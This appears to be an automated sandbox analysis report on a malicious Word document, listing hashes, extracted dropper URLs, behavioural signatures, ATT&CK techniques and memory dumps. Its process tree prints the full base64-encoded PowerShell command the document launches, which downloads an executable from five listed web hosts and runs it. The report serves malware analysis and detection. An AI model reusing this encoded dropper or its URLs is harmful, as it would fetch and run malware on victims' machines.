20ae18835914f775fe36a135dcdc4554705cfab177ee8987c0a65f30706ff22e

General

Target

sample.doc
Size

169KB
MD5

a609e6e8558854fcf0790ea63c140636
SHA1

32f420b41bffa36e7e4f36ff3b1897e20359b5e8
SHA256

0bb088266c59f91fde3293f80935b197971c500a8971a26037706aaf5e520a5d
SHA512

4f695d52ad1b64aa65ef11afc1add8f243b0d1eee0a4a2af3532d833f9542e0086e3d55bb0f041040661cfecc69112477bbe50b7e8692b2a9d82f1c584735de4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4908 724 powersheLL.exe
Blocklisted process makes network request 6 IoCs

Processes:

powersheLL.exe

flow pid process

29 4908 powersheLL.exe
31 4908 powersheLL.exe
44 4908 powersheLL.exe
51 4908 powersheLL.exe
53 4908 powersheLL.exe
55 4908 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4908	724	powersheLL.exe

flow	pid	process
29	4908	powersheLL.exe
31	4908	powersheLL.exe
44	4908	powersheLL.exe
51	4908	powersheLL.exe
53	4908	powersheLL.exe
55	4908	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4688 WINWORD.EXE
4688 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

4908 powersheLL.exe
4908 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 4908 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4688 WINWORD.EXE
4688 WINWORD.EXE
4688 WINWORD.EXE
4688 WINWORD.EXE
4688 WINWORD.EXE
4688 WINWORD.EXE
4688 WINWORD.EXE

pid	process
4688	WINWORD.EXE
4688	WINWORD.EXE

pid	process
4908	powersheLL.exe
4908	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	4908	powersheLL.exe

pid	process
4688	WINWORD.EXE
4688	WINWORD.EXE
4688	WINWORD.EXE
4688	WINWORD.EXE
4688	WINWORD.EXE
4688	WINWORD.EXE
4688	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4688

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4908

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/4688-136-0x00007FFA63940000-0x00007FFA63950000-memory.dmp

Filesize
64KB

Download
memory/4688-138-0x00000231B315B000-0x00000231B315D000-memory.dmp

Filesize
8KB

Download
memory/4688-132-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4688-133-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4688-134-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4688-135-0x00007FFA63940000-0x00007FFA63950000-memory.dmp

Filesize
64KB

Download
memory/4688-131-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4688-137-0x00000231B83D0000-0x00000231B83D4000-memory.dmp

Filesize
16KB

Download
memory/4688-130-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4688-145-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4688-144-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4688-142-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4688-143-0x00007FFA65B10000-0x00007FFA65B20000-memory.dmp

Filesize
64KB

Download
memory/4908-140-0x00007FFA7AA30000-0x00007FFA7B4F1000-memory.dmp

Filesize
10.8MB

Download
memory/4908-139-0x0000024946220000-0x0000024946242000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads